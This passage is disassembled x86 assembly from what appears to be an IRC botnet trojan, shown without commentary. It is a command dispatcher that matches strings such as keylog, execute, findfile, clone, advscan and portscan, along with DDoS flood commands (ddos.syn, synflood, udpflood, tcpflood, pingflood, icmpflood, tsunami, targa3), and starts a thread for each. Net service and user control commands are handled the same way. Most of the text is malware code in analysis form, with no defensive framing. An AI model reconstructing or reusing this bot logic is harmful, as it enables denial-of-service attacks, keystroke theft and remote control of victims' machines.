		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B120
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_F68], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FEC]
		push	ebx
		push	eax
		push	offset sub_412660
		push	ebx
		push	ebx
		call	near ptr 2690448h
		nop
		mov	ecx, [ebp+var_F68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_405D82


loc_405D6C:				; CODE XREF: sub_401ACD+42B3j
		cmp	[ebp+var_F5C], ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 26903FCh
		nop
		jmp	short loc_405D6C
; ---------------------------------------------------------------------------


loc_405D82:				; CODE XREF: sub_401ACD+429Dj
		nop
		call	near ptr 2690DCCh
		push	eax
		push	offset unk_42B0E4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405D93:				; CODE XREF: sub_401ACD+41D4j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	21h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DC3
		push	eax
		push	offset unk_42B0A4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405DC3:				; CODE XREF: sub_401ACD+42E9j
		push	offset unk_42B074
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405DCD:				; CODE XREF: sub_401ACD+41BDj
		push	edi
		push	offset aIdent	; "ident"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EA2
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E68
		push	2
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405E0B
		push	offset dword_42B04C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405E0B:				; CODE XREF: sub_401ACD+4332j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B020
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		nop
		call	near ptr 2690448h
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[esi], eax
		jnz	loc_40828B
		nop
		call	near ptr 2690DCCh
		push	eax
		push	offset dword_42AFEC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405E68:				; CODE XREF: sub_401ACD+4326j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	2
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405E98
		push	eax
		push	offset dword_42AFB4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405E98:				; CODE XREF: sub_401ACD+43BEj
		push	offset dword_42AF94
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405EA2:				; CODE XREF: sub_401ACD+430Fj
		push	edi
		push	offset aKeylog	; "keylog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40601F
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		mov	edi, offset aFile ; "file"
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	23h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405F0E
		push	eax
		push	offset dword_42AF48
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405F0E:				; CODE XREF: sub_401ACD+4434j
		push	offset dword_42AF1C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405F18:				; CODE XREF: sub_401ACD+4400j
					; sub_401ACD+440Fj
		push	23h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405F2E
		push	offset dword_42AEFC
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405F2E:				; CODE XREF: sub_401ACD+4455j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_10]
		mov	[ebp+var_C5C], eax
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_BD4], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F5B
		mov	[ebp+var_BD0], 1
		jmp	short loc_405F64
; ---------------------------------------------------------------------------


loc_405F5B:				; CODE XREF: sub_401ACD+4480j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_BD0], eax


loc_405F64:				; CODE XREF: sub_401ACD+448Cj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_405F8B
		mov	esi, offset aF_0 ; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F8B
		mov	esi, [ebp+var_88]


loc_405F8B:				; CODE XREF: sub_401ACD+44A0j
					; sub_401ACD+44B6j
		push	esi
		lea	eax, [ebp+var_C54]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42AED8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	23h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_C58], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C5C]
		push	ebx
		push	eax
		push	offset dword_411CF4
		push	ebx
		push	ebx
		nop
		call	near ptr 2690448h
		mov	ecx, [ebp+var_C58]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40600E


loc_405FF8:				; CODE XREF: sub_401ACD+453Fj
		cmp	[ebp+var_BCC], ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 26903FCh
		nop
		jmp	short loc_405FF8
; ---------------------------------------------------------------------------


loc_40600E:				; CODE XREF: sub_401ACD+4529j
		call	near ptr 2690DCCh
		nop
		push	eax
		push	offset dword_42AE9C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_40601F:				; CODE XREF: sub_401ACD+43E4j
		push	edi
		push	offset aNet	; "net"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40626F
		cmp	dword_4CB044, ebx
		jz	short loc_40604E
		cmp	dword_4CB06C, ebx
		jz	short loc_40604E
		push	offset unk_42AE60
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40604E:				; CODE XREF: sub_401ACD+456Dj
					; sub_401ACD+4575j
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		mov	edi, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jz	short loc_406073
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_406073:				; CODE XREF: sub_401ACD+4596j
		push	[ebp+arg_10]
		push	offset aStart	; "start"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060C0
		cmp	edi, ebx
		jz	short loc_406094
		push	[ebp+arg_0]
		push	3
		jmp	loc_406126
; ---------------------------------------------------------------------------


loc_406094:				; CODE XREF: sub_401ACD+45BBj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41895B
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4060B6
		push	offset unk_42AE34
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_4060B6:				; CODE XREF: sub_401ACD+45DDj
		push	offset unk_42AE14
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_4060C0:				; CODE XREF: sub_401ACD+45B7j
		push	[ebp+arg_10]
		push	offset aStop	; "stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060DA
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406126
; ---------------------------------------------------------------------------


loc_4060DA:				; CODE XREF: sub_401ACD+4604j
		push	[ebp+arg_10]
		push	offset aPause	; "pause"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060F4
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406126
; ---------------------------------------------------------------------------


loc_4060F4:				; CODE XREF: sub_401ACD+461Ej
		push	[ebp+arg_10]
		push	offset aContinue ; "continue"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40610E
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406126
; ---------------------------------------------------------------------------


loc_40610E:				; CODE XREF: sub_401ACD+4638j
		push	[ebp+arg_10]
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406138
		push	[ebp+arg_0]
		push	1


loc_406126:				; CODE XREF: sub_401ACD+45C2j
					; sub_401ACD+460Bj ...
		call	sub_4186C1
		pop	ecx
		pop	ecx


loc_40612D:				; CODE XREF: sub_401ACD+46A1j
					; sub_401ACD+4729j ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_406138:				; CODE XREF: sub_401ACD+4652j
		push	[ebp+arg_10]
		push	offset aShare	; "share"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40619D
		cmp	edi, ebx
		jz	short loc_406170
		cmp	[ebp+var_8FC], bl
		jz	short loc_40615D
		push	ebx
		push	edi
		push	1
		jmp	short loc_406166
; ---------------------------------------------------------------------------


loc_40615D:				; CODE XREF: sub_401ACD+4688j
		push	[ebp+esi+var_84]
		push	edi
		push	ebx


loc_406166:				; CODE XREF: sub_401ACD+468Ej
		call	sub_418A98
		add	esp, 0Ch
		jmp	short loc_40612D
; ---------------------------------------------------------------------------


loc_406170:				; CODE XREF: sub_401ACD+4680j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418C8E
		add	esp, 10h
		test	eax, eax
		jz	short loc_406193
		push	offset unk_42ADCC
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_406193:				; CODE XREF: sub_401ACD+46BAj
		push	offset unk_42ADAC
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40619D:				; CODE XREF: sub_401ACD+467Cj
		push	[ebp+arg_10]
		push	offset aUser	; "user"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406228
		cmp	edi, ebx
		jz	short loc_4061FB
		cmp	[ebp+var_8FC], bl
		jz	short loc_4061CE
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	edi
		push	1
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------


loc_4061CE:				; CODE XREF: sub_401ACD+46EDj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4061EA
		push	esi
		push	edi
		push	ebx
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------


loc_4061EA:				; CODE XREF: sub_401ACD+4716j
		push	ebx
		push	edi
		push	2


loc_4061EE:				; CODE XREF: sub_401ACD+46FFj
					; sub_401ACD+471Bj
		call	sub_418DAF
		add	esp, 18h
		jmp	loc_40612D
; ---------------------------------------------------------------------------


loc_4061FB:				; CODE XREF: sub_401ACD+46E5j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4192DF
		add	esp, 10h
		test	eax, eax
		jz	short loc_40621E
		push	offset unk_42AD84
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40621E:				; CODE XREF: sub_401ACD+4745j
		push	offset unk_42AD64
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_406228:				; CODE XREF: sub_401ACD+46E1j
		push	[ebp+arg_10]
		push	offset aSend	; "send"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406265
		cmp	edi, ebx
		jz	short loc_40625B
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419593
		add	esp, 10h
		jmp	loc_40612D
; ---------------------------------------------------------------------------


loc_40625B:				; CODE XREF: sub_401ACD+4770j
		push	offset unk_42AD38
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_406265:				; CODE XREF: sub_401ACD+476Cj
		push	offset unk_42AD1C
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40626F:				; CODE XREF: sub_401ACD+4561j
		push	edi
		push	offset aCapture	; "capture"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aCap	; "cap"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09
		push	edi
		push	offset aGh	; "gh"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09


loc_4062C3:				; CODE XREF: sub_401ACD+3CBDj
					; sub_401ACD+3CECj ...
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		mov	[ebp+arg_1C], edi
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset dword_42B500
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aJpDe100	; "jp]de100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aJp10	; "jp]10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067D6
		push	7Fh
		lea	eax, [ebp+var_327C]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_31FC]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_317C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_30FC]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3074],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_3078],	edi
		mov	[ebp+var_3280],	esi
		call	sub_40B0F6
		add	esp, 3Ch
		mov	[ebp+var_307C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3280]
		push	ebx
		push	eax
		push	offset word_4146CE
		push	ebx
		push	ebx
		nop
		call	near ptr 2690448h
		mov	ecx, [ebp+var_307C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4067C5


loc_4067AF:				; CODE XREF: sub_401ACD+4CF6j
		cmp	[ebp+var_3070],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 26903FCh
		jmp	short loc_4067AF
; ---------------------------------------------------------------------------


loc_4067C5:				; CODE XREF: sub_401ACD+4CE0j
		nop
		call	near ptr 2690DCCh
		push	eax
		push	offset unk_42AB8C
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_4067D6:				; CODE XREF: sub_401ACD+4C36j
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406903
		push	7Fh
		lea	eax, [ebp+var_36A4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3624]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_35A4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3524]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A0],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_349C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_36A8],	esi
		push	[ebp+arg_10]
		push	offset dword_42AB44
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_34A4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36A8]
		push	ebx
		push	eax
		push	offset word_413626
		push	ebx
		push	ebx
		nop
		call	near ptr 2690448h
		mov	ecx, [ebp+var_34A4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4068F2


loc_4068DC:				; CODE XREF: sub_401ACD+4E23j
		cmp	[ebp+var_3498],	ebx
		jnz	loc_407278
		push	32h
		call	near ptr 26903FCh
		nop
		jmp	short loc_4068DC
; ---------------------------------------------------------------------------


loc_4068F2:				; CODE XREF: sub_401ACD+4E0Dj
		call	near ptr 2690DCCh
		nop
		push	eax
		push	offset dword_42AB08
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_406903:				; CODE XREF: sub_401ACD+4D48j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aJpldg10	; "jpldg10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aJpl10	; "jpl10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406D16
		push	[ebp+arg_10]
		lea	eax, [ebp+var_47EC]
		push	eax
		call	sub_41BEB0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+arg_10], eax
		lea	eax, [ebp+var_4188]
		push	eax
